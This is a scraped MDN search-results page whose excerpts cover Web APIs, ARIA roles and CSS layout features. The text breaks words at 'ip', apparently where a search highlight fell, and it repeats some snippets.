iptioninit dictionary which contains the sdp describing the generated offer. that received offer should be delivered through the signaling server to a remote peer. exceptions these exceptions are returned by rejecting the returned promise. your rejection handler should examine the received exception to determine which occurred. invalidstateerror the rtcpeerconnection is closed. notreadableerr...
...And 3 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous commonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices. ...
...he given <svg> element. svgsvgelement.y read only an svganimatedlength corresponding to the y attribute of the given <svg> element. svgsvgelement.width read only an svganimatedlength corresponding to the width attribute of the given <svg> element. svgsvgelement.height read only an svganimatedlength corresponding to the height attribute of the given <svg> element. svgsvgelement.contentscr
ipttype an svganimatedlength corresponding to the contentscr
ipttype attribute of the given <svg> element. svgsvgelement.contentstyletype an svganimatedlength corresponding to the contentstyletype attribute of the given <svg> element. svgsvgelement.viewport an svgrect containing the position and size of the viewport (implicit or explicit) that corresponds to the given <svg> element. when the bro...
...calls to suspendredraw() and unsuspendredraw() should, but need not be, made in balanced pairs. to suspend redraw actions as a collection of svg dom changes occur, precede the changes to the svg dom with a method call similar to: const suspendhandleid = suspendredraw(maxwaitmilliseconds) and follow the changes with a method call similar to: unsuspendredraw(suspendhandleid) note that mult
iple suspendredraw() calls can be used at once, and that each such method call is treated independently of the other suspendredraw() method calls. svgsvgelement.unsuspendredraw() cancels a specified suspendredraw() by providing a unique suspend handle id that was returned by a previous suspendredraw() call. svgsvgelement.unsuspendredrawall() cancels all currently active suspendredraw() met...
...And 3 more matches
Using server-sent events - Web APIs
lient side code works almost identically to websockets in part of handling incoming events. this is one-way connection, so you can't send events from a client to a server. ...
... you can't send events from a client to a server. receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a new eventsource object with the url of a scr
ipt that generates the events. for example: const evtsource = new eventsource("ssedemo.php"); if the event generator scr
ipt is hosted on a different origin, a new eventsource object should be created with both the url and an options dictionary. ...
...n a connection to the server to begin receiving events from it, create a new eventsource object with the url of a scr
ipt that generates the events. for example: const evtsource = new eventsource("ssedemo.php"); if the event generator scr
ipt is hosted on a different origin, a new eventsource object should be created with both the url and an options dictionary. ...
...And 3 more matches
ServiceWorkerContainer.register() - Web APIs
the register() method of the serviceworkercontainer interface creates or updates a serviceworkerregistration for the given scr
ipturl. if successful, a service worker registration ties the provided scr
ipt url to a scope, which is subsequently used for navigation matching. you can call this method unconditionally from the controlled page. i.e., you don't need to first check whether there's an active registration. there is frequent confusion surrounding the meaning and use of scope. since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. ...
...his method unconditionally from the controlled page. i.e., you don't need to first check whether there's an active registration. there is frequent confusion surrounding the meaning and use of scope. since a service worker can't have a scope broader than its own location, only use the scope option when you need a scope that is narrower than the default. syntax serviceworkercontainer.register(scr
ipturl, options) .then(function(serviceworkerregistration) { ... }); parameters scr
ipturl the url of the service worker scr
ipt. the registered service worker file needs to have a valid javascr
ipt mime type. options optional an object containing registration options. currently available options are: scope: a usvstring representing a url that defines a service worker's registration scope;...
...stration options. currently available options are: scope: a usvstring representing a url that defines a service worker's registration scope; that is, what range of urls a service worker can control. this is usually a relative url. it is relative to the base url of the application. by default, the scope value for a service worker registration is set to the directory where the service worker scr
ipt is located. see the examples section for more information on how it works. return value a promise that resolves with a serviceworkerregistration object. examples the examples described here should be taken together to get a better understanding of how service workers scope applies to a page. the following example uses the default value of scope (by omitting it). the service worker code...
...And 3 more matches
SharedWorker() - Web APIs
it must obey the same-origin policy. ...
...it must obey the same-origin policy. ...
...greement among browser manufacturers about whether a data uri is of the same origin or not. although gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers. syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the scr
ipt the worker will execute. it must obey the same-origin policy. name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. options optional an object containing option properties that can set when creating the object instance. available properties are as follows: type: a domst...
...And 3 more matches
SubtleCrypto.importKey() - Web APIs
ed when keyusages is empty but the unwrapped key is of type secret or private. typeerror raised when trying to use an invalid format or if the keydata is not suited for that format. supported formats this api supports four different key import/export formats: raw, pkcs #8, subjectpublickeyinfo, and json web key. raw you can use this format to import or export aes or hmac secret keys, or ell
iptic curve public keys. in this format the key is supplied as an arraybuffer containing the raw bytes for the key. pkcs #8 you can use this format to import or export rsa or ell
iptic curve private keys. the pkcs #8 format is defined in rfc 5208., using the asn.1 notation: privatekeyinfo ::= sequence { version version, privatekeyalgorithm privatekeyalgorithmident...
...804g6omjuc9vvojcrv0ydasmykkjmjblg= -----end private key----- to get this into a format you can give to importkey() you need to do two things: base64-decode the part between header and footer, using window.atob(). convert the resulting string into an arraybuffer. see the examples section for more concrete guidance. subjectpublickeyinfo you can use this format to import or export rsa or ell
iptic curve public keys. subjectpublickey is defined in rfc 5280, section 4.1 using the asn.1 notation: subjectpublickeyinfo ::= sequence { algorithm algorithmidentifier, subjectpublickey bit string } just like pkcs #8, the importkey() method expects to receive this object as an arraybuffer containing the der-encoded form of the subjectpublickeyinfo. again, you are mos...
...d form of the subjectpublickeyinfo. again, you are most likely to encounter this object in pem format. a pem-encoded subjectpublickeyinfo looks like this: -----begin public key----- miibijanbgkqhkig9w0baqefaaocaq8amiibcgkcaqea3j+hgshunc7f6xzvebd0 r3m5jny+/kabijvu8iu1eral3osi38vgimzjdbdorfxvznnzl+sxahwxiv5bhixl cq6qhwysdgh6oqgkiwialra/wnh4uhxj1or/iyakjhrr/kghutjyvcjzvaqadpjw 2g+syd1ui0b6kjov2cruw
ipwpff8hbfvwv8q9yc2yd5hcnykvl0iaiyn+sdak/rv 8dc5eilzci4efucbyg4c9o88qz7bs14dxsfapty8p/twoihvvjladf743lgm/jlq cdpubua3hlszuhkm3bbskd7q9ngkjv3+ybyo4/fl+fkyra8j9ypa2n0iw53lfb3b gqidaqab -----end public key----- just as with pkcs #8, to get this into a format you can give to importkey() you need to do two things: base64-decode the part between header and footer, using window.atob(). convert the res...
...And 3 more matches
Touch.radiusX - Web APIs
note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
... note: this attribute has not been formally standardized. it is specified in the touch events - level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. ...
...And 3 more matches
Using Touch Events - Web APIs
for keyboard and mouse input. however, devices with touch screens (especially portable devices) are mainstream and web applications can either directly process touch-based input by using touch events or the application can use interpreted mouse events for the application input. a disadvantage to using mouse events is that they do not support concurrent user input, whereas touch events support mult
iple simultaneous inputs (possibly at different locations on the touch surface), thus enhancing user experiences. the touch events interfaces support application specific single and multi-touch interactions such as a two-finger gesture. a multi-touch interaction starts when a finger (or stylus) first touches the contact surface. other fingers may subsequently touch the surface and optionally move a...
...nt. for the touchend event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface). together, these interfaces define a relatively low-level set of features, yet they support many kinds of touch-based interaction, including the familiar multi-touch gestures such as multi-finger sw
ipe, rotation, pinch and zoom. from interfaces to gestures an application may consider different factors when defining the semantics of a gesture. for instance, the distance a touch point traveled from its starting location to its location when the touch ended. another potential factor is time; for example, the time elapsed between the touch's start and the touch's end, or the time lapse between t...
...different factors when defining the semantics of a gesture. for instance, the distance a touch point traveled from its starting location to its location when the touch ended. another potential factor is time; for example, the time elapsed between the touch's start and the touch's end, or the time lapse between two consecutive taps intended to create a double-tap gesture. the directionality of a sw
ipe (for example left to right, right to left, etc.) is another factor to consider. the touch list(s) an application uses depends on the semantics of the application's gestures. for example, if an application supports a single touch (tap) on one element, it would use the targettouches list in the touchstart event handler to process the touch point in an application-specific manner. if an applicatio...
...And 3 more matches
WebGLRenderingContext.getParameter() - Web APIs
the webgl api returns a value for the passed parameter name. syntax any gl.getparameter(pname); parameters pname a glenum specifying which parameter value to return. see below for possible values. return value depends on the parameter. parameter names webgl 1 you can query the following pname parameters when using a webglrenderingcontext. ...
... glboolean gl.depth_writemask glboolean gl.dither glboolean gl.element_array_buffer_binding webglbuffer gl.framebuffer_binding webglframebuffer or null null corresponds to a binding to the default framebuffer. see also bindframebuffer. gl.front_face glenum gl.cw or gl.ccw. see also frontface. gl.generate_m
ipmap_hint glenum gl.fastest, gl.nicest or gl.dont_care. see also hint. gl.green_bits glint gl.implementation_color_read_format glenum gl.implementation_color_read_type glenum gl.line_width glfloat gl.max_combined_texture_image_units glint gl.max_cube_map_texture_size glint gl.max_fragment_...
...l_test glboolean gl.stencil_value_mask gluint gl.stencil_writemask gluint gl.subpixel_bits glint gl.texture_binding_2d webgltexture or null gl.texture_binding_cube_map webgltexture or null gl.unpack_alignment glint gl.unpack_colorspace_conversion_webgl glenum gl.unpack_fl
ip_y_webgl glboolean gl.unpack_premult
iply_alpha_webgl glboolean gl.vendor domstring gl.version domstring gl.viewport int32array (with 4 elements) webgl 2 you can query the following pname parameters when using a webgl2renderingcontext. constant returned type descr
iption gl.copy_read_buffer_bi...
...And 3 more matches
Using textures in WebGL - Web APIs
ture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so check if the image is a // power of 2 in both dimensions. if (ispowerof2(image.width) && ispowerof2(image.height)) { // yes, it's a power of 2. ...
...ure); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so check if the image is a // power of 2 in both dimensions. if (ispowerof2(image.width) && ispowerof2(image.height)) { // yes, it's a power of 2. generate m
ips. ...
...cformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so check if the image is a // power of 2 in both dimensions. if (ispowerof2(image.width) && ispowerof2(image.height)) { // yes, it's a power of 2. generate m
ips. gl.generatem
ipmap(gl.texture_2d); } else { // no, it's not a power of 2. ...
...And 3 more matches
Starting up and shutting down a WebXR session - Web APIs
ty scenario, you need to create and set up the webxr session, and you should know how to shut it down properly as well. you will learn how to do these things in this article. accessing the webxr api your app's access to the webxr api begins with the xrsystem object. this object represents the overall webxr device suite available to you through the hardware and drivers available on the user's equ
ipment. there is a global xrsystem object available for use by your document through the the navigator property xr, which returns the xrsystem object if suitable xr hardware is available for your use given the hardware available and your document's environment. thus the simplest code that fetches the xrsystem object is: const xr = navigator.xr; the value of xr will be null or undefined if webxr i...
...ide the specification, and is kept up to date with the specification. additionally, it is updated to maintain compatibility with browsers as their support for webxr and other technologies related to it and to the implementation of the polyfill change over time. be sure to read the readme carefully; the polyfill comes in several versions depending on what degree of compatibility with newer javascr
ipt features your target browsers include. webxr api emulator extension the mozilla webxr team has created a webxr api emulator browser extension, compatible with both firefox and chrome, which emulates the webxr api, simulating a variety of compatible devices such as the htc vive, the oculus go and oculus quest, samsung gear, and google cardboard. with the extension in place, you can open up a de...
... basic testing before taking your code to a real device. be aware, however, that the emulator does not yet completely emulate all of the webxr api, so you may run into problems you're not expecting. again, carefully read the readme file and make sure you're aware of the limitations before you begin. important: you should always test your code on actual ar and/or vr hardware before releasing or sh
ipping a product! emulated, simulated, or polyfilled environments are not an adequate substitute for actual testing on physical devices. getting the extension download the webxr api emulator for your supported browser below: google chrome mozilla firefox the source code for the extension is also available on github. emulator issues and notes while this isn't the place for a full article ab...
...And 3 more matches
Functions and classes available to Web Workers - Web APIs
this article provides a list of those. workers run in another global context, dedicatedworkerglobalscope, different from the current window. by default, methods and properties of window are not available to them, but dedicatedworkerglobalscope, like window, implements windowtimers and windowbase64. ...
... unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functional...
...ation between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site). 38 (38) no support no support no support cache cache api provides the ability to programmatically control cache storage associated with current origin. (yes) no support 43 ? channel messaging api allows two separate scr
ipts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly via two ports. 41 (41) (yes) (yes) (yes) console api provides access to the browser's debugging console (e.g., the web console in firefox). the specifics of how it works vary...
...And 3 more matches
Window.pageYOffset - Web APIs
cise, so it may not be an integer. a value of 0.0 indicates that the window is not scrolled vertically, and that the top of the document is located at the top edge of the window's content area. since this property is an alias for window.scrolly, see that article for additional details on this value and its use. example var contenthtml = ` <h2 id="introduction">introduction</h2> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. aenean volutpat vitae felis non dictum. ut auctor eros tortor, vel elementum arcu rhoncus nec. donec non laoreet massa. donec pretium nisi et condimentum convallis. nullam dictum molestie finibus. nullam vitae lorem non augue mattis cursus.</p> <p>maecenas nec tortor tincidunt, sollicitudin mi eget, fermentum turpis. vestibulum ac ante et libero e...
...mentum turpis. vestibulum ac ante et libero efficitur faucibus id eget ex. pellentesque tempor pharetra tincidunt. suspendisse potenti. nulla vulputate nunc sit amet hendrerit faucibus. nullam metus dui, venenatis lacinia nunc nec, vestibulum viverra nunc. quisque interdum quam tortor, sit amet varius neque consectetur at. quisque vel turpis justo.</p> <h2 id="overview">overview</h2> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. etiam dui dolor, pulvinar sed diam id, eleifend dapibus odio. duis vitae ante nibh. integer bibendum imperdiet susc
ipit. fusce ligula leo, consectetur ac ante eget, gravida laoreet purus. cras sodales efficitur risus, sed feugiat sem. pellentesque justo augue, placerat non leo sit amet, laoreet fringilla arcu.</p> <p>class aptent taciti sociosqu a...
...gilla arcu.</p> <p>class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. proin in gravida libero. vivamus placerat, lacus eget condimentum sagittis, enim nunc bibendum nisi, quis varius erat felis sit amet risus.</p> <p>sed non finibus ligula. fusce a magna auctor, molestie nibh eget, sodales felis. donec imperdiet facilisis mi ut aliquam. etiam sodales susc
ipit urna, eget hendrerit neque elementum a. vivamus fringilla sodales est ut ultricies. nulla convallis congue maximus. nullam consectetur felis vitae ultricies accumsan. mauris at aliquam felis. mauris efficitur tellus massa, id ullamcorper
ipsum fermentum eu. aenean mollis dignissim ultrices. nunc gravida, sem sit amet lobortis iaculis, dolor ligula convallis nibh, id condimentum metus libero nec...
...And 3 more matches
Worker - Web APIs
workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. ...
...workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. ...
...d task that can be created via scr
ipt, which can send messages back to its creator. creating a worker is done by calling the worker("path/to/worker/scr
ipt") constructor. workers may themselves spawn new workers, as long as those workers are hosted at the same origin as the parent page. (note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scr
ipts inside a worker. workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null. (fetch is also available, with no such restrictions.) in firefox extensions, if you want to use workers with access to js-ctypes, use chromeworker object instead. ...
...And 3 more matches
Using the alert role - Accessibility
the alert role is used to communicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it. ...
...speech or braille) and immediately announce or display the alert message. screen magnifiers may visually indicate that an alert occurred and what the alert text was. note: opinons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: adding the role in the html code the sn
ippet below shows how the alert role is added directly into the html source code. the moment the element finishes loading the screen reader should be notified of the alert. if the element was already in the original source code when the page loaded, the screen reader will announce the error immediately after announcing the page title. <h2 role="alert">your form could not be submitted because of 3 v...
...e element finishes loading the screen reader should be notified of the alert. if the element was already in the original source code when the page loaded, the screen reader will announce the error immediately after announcing the page title. <h2 role="alert">your form could not be submitted because of 3 validation errors.</h2> example 2: dynamically adding an element with the alert role this sn
ippet dynamically creates an element with an alert role and adds it to the document structure. let myalert = document.createelement("p"); myalert.setattribute("role", "alert"); let myalerttext = document.createtextnode("you must agree with our terms of service to create an account."); myalert.appendchild(myalerttext); document.body.appendchild(myalert); note: the same result can be achieved with ...
...And 3 more matches
Using the aria-describedby attribute - Accessibility
the aria-describedby attribute is not used only for form elements; it is also used to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and more. the examples section below provides more information about how to use the attribute in these cases. ...
... the aria-describedby attribute is not used only for form elements; it is also used to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and more. the examples section below provides more information about how to use the attribute in these cases. ...
...rm element; it is not limited to elements that have an aria role assigned. value a space-separated list of element ids possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: application landmark descr
iptions in the example below, an introductory paragraph describes a calendar application. aria-describedby is used to associate the paragraph with the application container. <div role="application" aria-labelledby="calendar" aria-describedby="info"> <h1 id="calendar">calendar</h1> <p id="info"> this calendar shows the game schedule for the boston red sox. </p> <div role="gr...
...And 3 more matches
ARIA: Navigation Role - Accessibility
landmark roles provide a way to identify the organization and structure of a web page. ...
...gation landmark. if the html5 nav element technique is not being used, use a role="navigation" attribute to define a navigation landmark. using the <nav> element will automatically communicate a section has a role of navigation. developers should always prefer using the correct semantic html element over using aria. ...
...section has a role of navigation. developers should always prefer using the correct semantic html element over using aria. associated wai-aria roles, states, and properties aria-label a brief descr
iption of the purpose of the navigation, omitting the term "navigation", as the screen reader will read both the role and the contents of the label. keyboard interactions none. required javascr
ipt features none. ...
...And 3 more matches
ARIA: listbox role - Accessibility
the listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images. descr
iption the listbox role is used to identify an element that creates a list from which a user may select one or more static items, similar to the html <select> element. unlike <select>, a listbox can contain images. each child of a listbox should have a role of option. it is highly recommended to use the html select element, or a group of radio buttons if only one item can be selected, or a group of checkboxes if mult
iple items can be selected, because there is a lot of keyboard interactivity to manage focus for all the descendants, and native html elements provide this functionality for you for free. elements with the role ...
...aria-labelledby should be used instead to refer to that label. aria-labelledby identifies the visible element or elements in a space-separated list of element ids which identify the listbox. if there's no visible label, then aria-label should be used instead to include a label. (note: "labelled", with two l's, is the correct spelling based on the accessibility api conventions.) aria-roledescr
iption a human-readable string value which more clearly identifies the role of the listbox. screen readers will often read this value to the user after reading the label (if there is one), in place of saying "listbox". (for further details and a full list of aria states and properties see the aria listbox (role) documentation.) keyboard interactions when a single-select listbox receives focu...
...ional): moves focus to last option. optionally, in a single-select listbox, selection may also move with focus. supporting this key is strongly recommended for lists with more than five options. type-ahead is recommended for all listboxes, especially those with more than seven options: type a character: focus moves to the next item with a name that starts with the typed character. ...
...And 3 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
established, the color contrast ratio can be established. a color contrast ratio is meaningless without its luminance component. where human perception is concerned, a difference in luminance matters more than a difference in color. this is important, luminance contrast enables the development of content that even those with color-blindness can see. with this understanding, luminance may be man
ipulated so that colors that are diffucult to see because of their low luminance could be made more legible by placing these colors against another that had contrasting luminance. an interesting study by nasa on the color blue, for example, noted that this color, which has low luminance, can be made legible if "care was taken to acheive adequate luminance contrast" (from the article, designing wit...
...sensitive cones, the authors note that "by population, about 64% of the cones are red-sensitive, about 32% green sensitive, and about 2% are blue sensitive." surprisingly, although cones that are blue-sensitive typically make up the fewest number of cones, they are also the most "sensitive" to color. put another way, as humans, the color blue is perceived differently than other colors, for mult
iple reasons. first, because the blue cones are actually the most sensitive of the three, second, we have fewer blue cones than red or green, and third, it so happens that these "blue sensitive" cones tend to be located at the rims of our eyeballs, away from the center (fovea centralis) of the back of the eyeball, where the red and green cones tend to cluster. there is software that actually takes ...
...l perceive that same blue text with a gray highlight differently if it is in a black div, or a white one. this is called local adaptation. this difference in the ability to perceive the text is affected even though the ambient lighting of the room does not change. the implication is that web developers who seek to improve legibility of text against a background can take advantage of the princ
iples of local adaptation. dark adaptation, to low luminance, is slow. when you come in from outside where the sun was bright, and walk into a dark room, you are experiencing dark adaptation. it can take a few minutes to adjust to this. light adaptation is the reverse. going from a dark room into bright sunlight is quicker, but it can also hurt. the implication is that web developers who seek t...
...And 3 more matches
@counter-style - CSS: Cascading Style Sheets
f useful counter styles. however, although more styles were added to this set of predefined styles over the years, this system proved too restrictive to fulfill the needs of worldwide typography. the @counter-style at-rule addresses this shortcoming in an open-ended manner, by allowing authors to define their own counter styles when the pre-defined styles aren't fitting their needs. syntax descr
iptors each @counter-style is identified by a name and has a set of descr
iptors. system specifies the algorithm to be used for converting the integer value of a counter to a string representation. negative lets the author specify symbols to be appended or prepended to the counter representation if the value is negative. prefix specifies a symbol that should be prepended to the marker ...
...ive lets the author specify symbols to be appended or prepended to the counter representation if the value is negative. prefix specifies a symbol that should be prepended to the marker representation. prefixes are added to the representation in the final stage, so in the final representation of the counter, it comes before the negative sign. suffix specifies, similar to the prefix descr
iptor, a symbol that is appended to the marker representation. suffixes come after the marker representation. range defines the range of values over which the counter style is applicable. if a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style. pad is used when you need the marker representations to be of a minim...
...range defines the range of values over which the counter style is applicable. if a counter style is used to represent a counter value outside of its ranges, the counter style will drop back to its fallback style. pad is used when you need the marker representations to be of a minimum length. for example if you want the counters to start at 01 and go through 02, 03, 04 etc, then the pad descr
iptor is to be used. for representations larger than the specified pad value, the marker is constructed as normal. fallback specifies a system to fall back into if either the specified system is unable to construct the representation of a counter value or if the counter value outside the specified range. if the specified fallback also fails to represent the value, then the fallback style's fall...
...And 3 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
in this guide, we will explore the basics of how block and inline elements behave when they are part of the normal flow. normal flow is defined in the css 2.1 specification, which explains that any boxes in normal flow will be part of a formatting context. they can be either block or inline, but not both at once. we describe block-level boxes as partic
ipating in a block formatting context, and inline-level boxes as partic
ipating in an inline formatting context. the behaviour of elements which have a block or inline formatting context is also defined in this specification. for elements with a block formatting context, the spec says: "in a block formatting context, boxes are laid out one after the other, vertically, beginning at the top of a containing block. the vertical distance between...
...ne is called a line box." - 9.4.2 note that the css 2.1 specification describes documents as being in a horizontal, top to bottom writing mode. for example, by describing vertical distance between block boxes. the behavior on block and inline elements is the same when working in a vertical writing mode, and we will explore this in a future guide on flow layout and writing modes. elements partic
ipating in a block formatting context block elements in a horizontal writing mode such as english, layout vertically, one below the other. in a vertical writing mode then would lay out horizontally. in this guide, we will be working in english and therefore a horizontal writing mode. however, everything described should work in the same way if your document is in a vertical writing mode. as ...
... the second paragraph has collapsed with the larger bottom margin of the first. you can read more about margin collapsing in our article mastering margin collapsing. note: if you are not sure whether margins are collapsing, check the box model values in your browser devtools. this will give you the actual size of the margin which can help you to identify what is happening. elements partic
ipating in an inline formatting context inline elements display one after the other in the direction that sentences run in that particular writing mode. while we don't tend to think of inline elements as having a box, as with everything in css they do. these inline boxes are arranged one after the other. if there is not enough space in the containing block for all of the boxes a box can break onto ...
...And 3 more matches
OpenType font features guide - CSS: Cascading Style Sheets
fully implemented. they are all defined and shown here, but many will only work using the lower-level font-feature-settings property. it's possible to write css to work both ways but this can become cumbersome. the issue with simply using font-feature-settings for everything is that every time you want to change one of the individual features, you have to redefine the entire string (similar to man
ipulating variable fonts with font-variation-settings). discovering availability of features in fonts this is sometimes the trickiest thing to work out if you don't have any documentation that came with the fonts (many type designers and foundries will provide sample pages and css just for this very reason). but there are some sites that make it easier to figure out. you can visit wakamaifondue.c...
...xt block. why you would use them? given that these features take a bit of work to discover and use, it may seem a fair question to ask why one would bother to use them. the answer lies in the specific features that will make a site more useful, readable, and polished: ligatures like 'ff' or 'fi' make letter spacing and reading more even and smooth. fractions can make home improvement and rec
ipe sites much easier to read and understand. numerals within paragraphs of text set as 'oldstyle' sit more comfortably between lower-case letters, and likewise setting them as 'tabular numbers' will make them line up better when setting a list of costs in a table say. 'lining' figures on the other hand sit more uniformly on their own or in front of capitalized words. while none of these features...
...ributes and options covered in the w3c specifications. note: the examples below show the properties and some example combinations, along with the lower-level syntax equivalents. they may not match exactly due to browser implementation inconsistencies, but in many cases the first example will match the second. the typefaces shown are playfair display, source serif pro, ibm plex serif, dancing scr
ipt, and kokoro (all available and free to use, most are on google fonts and other services). kerning (font-kerning) this refers to the spacing between specific glyph pairings. this is generally on by default (as recommended by the opentype specification). it should be noted that if letter-spacing is also set on your text, that is applied after kerning. alternates (font-variant-alternates) fo...
...And 3 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
s feature of grid and other modern layout methods, learning a little about writing modes and logical vs. physical properties as we do so. logical and physical properties and values css is full of physical positioning keywords - left and right, top and bottom. if we position an item using absolute positioning, we use these physical keywords as offset values to push the item around. in the code sn
ippet below, the item is placed 20 pixels from the top, and 30 pixels from the left of the container: .container { position: relative; } .item { position: absolute; top: 20px; left: 30px; } <div class="container"> <div class="item">item</div> </div> another place you might see physical keywords in use, is when using text-align: right to align text to the right. there are also physical...
...ht. there are also physical properties in css. we add margins, padding, and borders using these physical properties of margin-left, padding-left, and so on. we call these keywords and properties physical because they relate to the screen you are looking at. left is always left, no matter what direction your text is running. this can become an issue when developing a site that has to work in mult
iple languages, including languages that have text starting on the right, rather than the left. browsers are pretty good at dealing with text direction, and you don't even need to be working in a rtl language to take a look. in the example below, i have two paragraphs. one has no text-align property set, the second has text-align set to left. i have added dir="rtl" to the html element, which switche...
...alues for the alignment properties start to make more sense. in this next example, i am using alignment to align items inside a grid that is set to writing-mode: vertical-lr. the start and end properties work in exactly the same way that they do in the default writing mode, and remain logical in a way that using left and right, top and bottom to align items would not do. ...
...And 3 more matches
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
however, while evergreen browsers mean that many of us are going to see the majority of users having grid layout support very quickly, there are also old or non-supporting browsers to contend with. in this guide we will walk through a variety of strategies for support. the supporting browsers other than in internet explorer, css grid layout is unprefixed in safari, chrome, opera, firefox and edge. ...
...longer an experimental specification, and you are safe to use it in production. the internet explorer and edge situation it should be remembered that the original implementation of css grid layout happened in internet explorer 10. this early specification did not contain all of the properties and values that the up-to-date specification has. there are also substantial differences between what sh
ipped in ie10 and the current specification, even where the properties and values appear the same. this early implementation is also the version of grid layout implemented in edge up to version 15. the ie/edge (<=15) version of the specification is prefixed with an -ms prefix and the properties implemented in ie/edge (<=15) are as follows: grid-template-columns as -ms-grid-columns grid-template...
...update. if your site serves a market sector that is tied to older browsers, however, it may not make sense yet. however, my suggestion is not to make assumptions based on how new specifications have been rolled out in browsers in the past. css grid layout is very different, in terms of the amount of time it has been in development, and the work of the various browser vendors to ensure that what sh
ips works in the same way for everyone. starting to use grid in production it is worth noting that you do not have to use grid in an all or nothing way. you could start by simply enhancing elements in your design with grid, that could otherwise display using an older method. overwriting of legacy methods with grid layout works surprisingly well, due to the way grid interacts with these other metho...
...And 3 more matches
Grid template areas - CSS: Cascading Style Sheets
grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" ". . . ...
...you can add extra white space in order to keep your columns neatly lined up in the value of grid-template-areas. ...
...you can add extra white space in order to keep your columns neatly lined up in the value of grid-template-areas. you can see that i have done this in order that the hd and ft line up with main. ...
...And 3 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
thing else about line-based placement still works in the same way and you can mix named lines and line numbers. naming lines is useful when creating a responsive design where you redefine the grid, rather than then needing to redefine the content position by changing the line number in your media queries, you can ensure that the line is always named the same in your definitions. giving lines mult
iple names you may want to give a line more than one name, perhaps it denotes the sidebar-end and the main-start for example. to do this add the names inside the square brackets with whitespace between them [sidebar-end main-start]. you can then refer to that line by either of the names. implicit grid areas from named lines when naming the lines, i mentioned that you can name these anything you l...
...iv> <div class="overlay">overlay</div> </div> given that we have this ability to position create lines from named areas and areas from named lines it is worth taking a little bit of time to plan your naming strategy when starting out creating your grid layout. by selecting names that will make sense to you and your team you will help everyone to use the layouts you create more easily. ...
... in this next example i am creating a grid with twelve equal width columns. before defining the 1fr size of the column track i am also defining a line name of [col-start]. ...
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
or: black;) and are accessed using the var() function (e.g., color: var(--main-color);). complex websites have very large amounts of css, often with a lot of repeated values. for example, the same color might be used in hundreds of different places, requiring global search and replace if that color needs to change. custom properties allow a value to be stored in one place, then referenced in mult
iple other places. an additional benefit is semantic identifiers. for example, --main-text-color is easier to understand than #00ff00, especially if this same color is also used in other contexts. custom properties are subject to the cascade and inherit their value from their parent. basic usage declaring a custom property is done using a custom property name that begins with a double hyphen (--)...
...which leads us to this: notice the repetition in the css. the background color is set to brown in several places. for some css declarations, it is possible to declare this higher in the cascade and let css inheritance solve this problem naturally. for non-trivial projects, this is not always possible. by declaring a custom property on the :root pseudo-class and using...
... inheritance of custom properties custom properties do inherit. this means that if no value is set for a custom property on a given element, the value of its parent is used.
...And 3 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
pro...
...nes listed below. ...
...ion-timing-function b -webkit-backface-visibility -webkit-background-cl
ip -webkit-background-origin -webkit-background-size -webkit-border-bottom-left-radius -webkit-border-bottom-right-radius -webkit-border-image -webkit-border-radius -webkit-border-top-left-radius -webkit-border-top-right-radius -webkit-box-decoration-break -webkit-box-shadow -webkit-box-sizing c -webkit-cl
ip-path -webkit-column-count -webkit-column-fill -webkit-column-gap -webkit-column-rule -webkit-column-rule-color -webkit-column-rule-style -webkit-column-rule-width -webkit-column-span -webkit-column-width -webkit-columns f -webkit-filter -webkit-flex -webkit-flex-basis -webkit-flex-direction -webkit-flex-flow -webkit-flex-grow -webkit-flex-shrink -webkit-flex-wrap -webkit-fo...
...And 3 more matches
background-repeat - CSS: Cascading Style Sheets
